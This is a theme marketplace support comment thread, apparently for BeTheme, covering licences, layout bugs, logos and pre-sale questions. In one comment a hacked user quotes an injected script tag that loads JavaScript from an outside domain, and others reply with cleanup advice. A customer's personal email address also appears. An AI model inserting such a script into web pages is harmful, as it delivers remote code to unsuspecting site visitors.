19067 comments found.
Hi,
I’ve installed a new pre-built website theme ( DEVELOPER 4 ) and everything worked except this page: https://themes.muffingroup.com/be/developer4/apartments/
It has only the header and the footer but I can’t create these blocks with apartments?
Thanks for your help. Boris
Hi Boris,
this is Blog page and these blocks with apartments are posts. So, if this page is somehow empty, please go to Settings > Reading section and make sure Blog page is set for Posts page option.
Best regards,
Muffin Group team
Hello, I activated “Header Builder”, and I like what it offers. One question, however: how to add the magnifying glass and reactivate the search engine?
I manage to display the magnifying glass by retrieving the associated HTML code and pasting it in a text block, but I cannot manage to make it active and bring up the search fields.
Thanks for your help
Tangi
Hi,
please send us WordPress dashboard access privately thru contact form which is on the right side at http://themeforest.net/user/muffingroup#contact so we can take a closer look. Please do not forget to let us know in a message, what for this access is.
Best regards,
Muffin Group team
Hi,
we are sorry but we do not have such feature included into theme.
Best regards,
Muffin Group team
Hi guys, I have installed the Be Raiden Design theme, and it looks great! but…. in the Ipad it looks horrible! Do you any idea, guide or something to make it nice in Ipad…. The top background is ugly and some boxes are off…. any idea?
Hi,
please send us link to page that looks horrible on iPad so we may have a closer look on it.
Best regards,
Muffin Group team
LOL, well I overreacted but yes it does not look ok, please see the main background on top is incompleted, pixelated and not escalated at all, also the boxes of services are not align. The link is: https://www.sincromyl.com
PS: Only in some tablets like the IPad. Desktops and phone is perfect!
To be honest, we do not see anything wrong on iPad. However, we recommend to start from removing custom css as you have few lines that may affect layout on specific devices.
Please follow the links and see the images
https://www.sincromyl.com/ipad1.jpg (Pixelated and not scaled BG) https://www.sincromyl.com/ipad2.jpg (Boxes Off) https://www.sincromyl.com/mobil1.jpg (Perfect scaled BG we want this on Ipad) https://www.sincromyl.com/mobil2.jpg (Boxes Perfect)Desktop version is perfect too.
The template is amazing, we just want a guide to fix this issues on ipad.
Guys never mind, I edited some content inside one of the boxes, cleared cache and fixed some css and now it looks great on my Ipad. Thank you for your support! You rock!
That’s great, thank you for update.
Hi guys… guess what… it happened again and this time I did nothing… do not know what’s going in on, I only want the background on top looks like the mobile version on Ipad no pixelated and ugly. Look the link:
https://www.sincromyl.com/ipad3.jpg (Pixelated and not scaled BG)Please Help ME!
Is it ok when you clear cache again?
Unfortunately no, It did not work this time.
Ok, in such case, please send us access to your WP dashboard privately via contact form on the right hand side at https://themeforest.net/user/muffingroup#contact so we may have a closer look what might the reason.
Sent. My email is lecastilloh@gmail.com
Thank you. We will respond as soon as we check.
Hi, 4 years ago I had asked if we could display post updated date instead of post published date for posts. Do we have this feature now ?.
Hi,
no, we do not have this option because it did not met with interest of other users.
Best regards,
Muffin Group team
Why should it meet the interest of other users. I mean an option to display updated date on post is always beneficial and users can use it if they want or not use it if they don’t want. Your answer really makes no sense. With that logic, if users don’t need new demos or if the demos do not meet the interest of users, will you stop publishing new demos ?.
It does make sense as we can not add any option that anyone ask because in such case, theme would stop working on most hosting services. The more options/features we add, the more demanding hosting services are needed. So it does make sense and we can not add any option you ask for. We have to balance it not to make it too heavy.
Adding an extra post meta option will definitely not make theme heavy. This should be a single line of code and I am sure that it will not even affect the hosting. If that was the case no theme author would have done that in their theme. Anyways I understood that you don’t want to add this option at all.
We get hundreds of suggestions about new features every day so hundreds x 1 line makes definitely theme much heavier. Thus, we can not add every single feature you ask for. However, if we will get more requests about it, we will consider it of course.
Thank you for understanding.
Hi,
With Betheme and woo-commerce, what payment methods/payment gateway we can use in USA? please let me know the list?
Hi,
this question is more to WooCommerce author. We recommend to check WooCommerce docs first where you can find lots of information about payment methods.
Best regards,
Muffin Group team
i need your help with my license, m33.life doesnt exist anymore and i want to use it on a new doamin, can you help me please, thank you
Hi,
for those who have problem with license registration/de-registration, we released tool to sort licenses. Therefore, please visit http://api.muffingroup.com/licenses/ and sort licenses yourself.
More details about this tool, you can find on http://forum.muffingroup.com/betheme/discussion/36219/cannot-register-deregister-your-license-key-use-this-tool
Best regards,
Muffin Group team
Hi my side been hack, someone uploaded this code <script src=’https://lobbydesires.com/location.js?p=1' type=text/javascript></script> to all the content.
And it also in my menu section, how do i remove all of the js code?
1. Backup website and database 2. Update wordpress and plugins incase a vulnerable plugin 3. Use phpmyadmin to remove redirects within wp_options, scripts in wp_posts, wp_users. 4. If website working, then backup once again 5. Updated server as much as possible (latest PHP, incase that allows vulenerability) 6. Backup again 7. Installed security plugin, I went with sucuri plugin, re-uploaded plugins and themes to check not infected
^^^ already tried ,but still get hacked.
Hi,
we are very sorry to hear that your site been hacked. Usually, WP is being hacked if hacker was able to upload desired files on your FTP. In such case, we recommend to clear whole FTP and later do fresh installation of WordPress, theme and any plugin you use, should be updated to its most recent version. Unfortunately, plugin that are not up to date are the most common reason of such issues.
According to database, you should contact with your admin/hosting provider and ask him to remove any record that contains above url.
Best regards,
Muffin Group team
Does this template have flip boxes?
Hi,
we do not have any flip box item. All builder items included into theme, you can find on https://themes.muffingroup.com/be/theme/shortcodes/boxes-infographics/
Best regards,
Muffin Group team
My previous comment may be a moot point, as I see that Post grid layouts don’t appear to function on Mobile Devices? I have checked my settings and I’m unable to see Post Grid layouts on mobile pages.
Hey,
please be so kind and send us WordPress dashboard access privately thru contact form which is on the right side at http://themeforest.net/user/muffingroup#contact so we may have a closer look on your settings. Please do not forget to let us know in a message, what for this access is.
Best regards,
Muffin Group team
I recently purchased this theme, and I have gone all through support documentation but cannot find a resolution for the following: When using the “Post Masonry Grid,” there appears to be no way to change the “Read More Button” color. I have Custom Skin set in theme settings and have changed colors there as well as button styles in General settings and neither the button style nor the color is impacted by any setting I make. Can you tell me what code I need to implement to impact at least the color of the buttons in the Post Masonry Grid and the Post Grid? These appear to both be the same interface, and both are non-responsive to theme customization settings. Thank you!
Hey,
please be so kind and send us WordPress dashboard access privately thru contact form which is on the right side at http://themeforest.net/user/muffingroup#contact so we may have a closer look on your settings. Please do not forget to let us know in a message, what for this access is.
Best regards,
Muffin Group team
Hello. I can use the theme because my internet connection is poor. Is it possible return the money of BeTheme? I didnt use
Hi,
please send us message privately thru contact form which is on the right side at http://themeforest.net/user/muffingroup#contact so we can take a closer look on it. Please do not forget to let us know in a message, what for this access is.
Best regards,
Muffin Group team
Will you please deregister my purchased code from old domain that is asodef.org
Hi,
for those who have problem with license registration/de-registration, we released tool to sort licenses. Therefore, please visit http://api.muffingroup.com/licenses/ and sort licenses yourself.
More details about this tool, you can find on http://forum.muffingroup.com/betheme/discussion/36219/cannot-register-deregister-your-license-key-use-this-tool
Best regards,
Muffin Group team
Hi, what marketplace (multi-vendor) plugins are compatible with your theme?
Hi,
we did never tested any so can not recommend anything unfortunately.
Best regards,
Muffin Group team
Okay, thank you. But you may want to consider it however and ensure compatibility as marketplaces seem to be on the rise at the moment. I really love this theme and have never regretted paying for it. Keep it up.
Ok, thank you for suggestion.
Hello. Is it possible to add Java Script code to the template ??? If so – how to do it? Thank you in advance for your answer.
Hi,
yes, you can do it under BeTheme Options > Custom CSS & JS > Custom JS section.
Best regards,
Muffin Group team
Thanks for the answer. And how to add on the subpage (as an element) https://nimb.ws/2jNXZa
Unfortunately, you can not add any JS via builder item due to security reasons.
Pre-Sale question: Is it possible to replace the header image on https://themes.muffingroup.com/be/factory/ demo with a video? Thanks
Hey,
sure, you can. Pre-built websites (demos) are only examples of what could be accomplished with the BeTheme. So basically, you can do much more than you see on specific demo.
Best regards,
Muffin Group team
Hi! I have a couple of presale questions 1. we are considering this theme for a charity, does it work well with the free version of the give donation plugin? https://wordpress.org/plugins/give/ 2. Can I use elementor with all your pre-built sample websites or only with some of them? Thanks for your help!
Hi,
1. We did never tested this plugin so can not tell you if it is compatible or not.
2. We’ve started supporting Elementor few weeks ago and so far did only few pre-built websites based on Elementor. You can find them on https://themes.muffingroup.com/be/splash#websites (on the left hand side, you can filter Elementor based layouts).
Best regards,
Muffin Group team
Hi, I tried to change logo, but I can’t. Can you help me?
Hi,
where did you changed the logo so it does not change on site? Any link to site where it does not work?
Best regards,
Muffin Group team
I’d tried change in: appearance/customize/Site Identity and finally change logo. I used same size as the example, but site doesn’t show it
That sounds very odd because logo supposed to be set under BeTheme Options > Global > Logo & BeTheme Options > Responsive > General sections.
you’re right, thank you
You are welcome! 
Hello, Be theme I want to purchase this theme but before that, I have a Question in How many sites I can use this theme? or can I use it for the unlimited website?
Answer me so I can go to buy it. Thanks
Hi,
according to Themeforest license and agreements, once purchased license can be used for one site/domain only. If you want to use this theme for few sites, then you must buy as many licenses as many sites you want to build. This applies to all themes on this marketplace and there is no other license available.
For more details about the license of all products on Themeforest, please navigate to https://themeforest.net/licenses/standard
Best regards,
Muffin Group team
My original registered domain name is no longer accessible, I need to register to a new domain name, what do I need to do
Hi,
for those who have problem with license registration/de-registration, we released tool to sort licenses. Therefore, please visit http://api.muffingroup.com/licenses/ and sort licenses yourself.
More details about this tool, you can find on http://forum.muffingroup.com/betheme/discussion/36219/cannot-register-deregister-your-license-key-use-this-tool
Best regards,
Muffin Group team
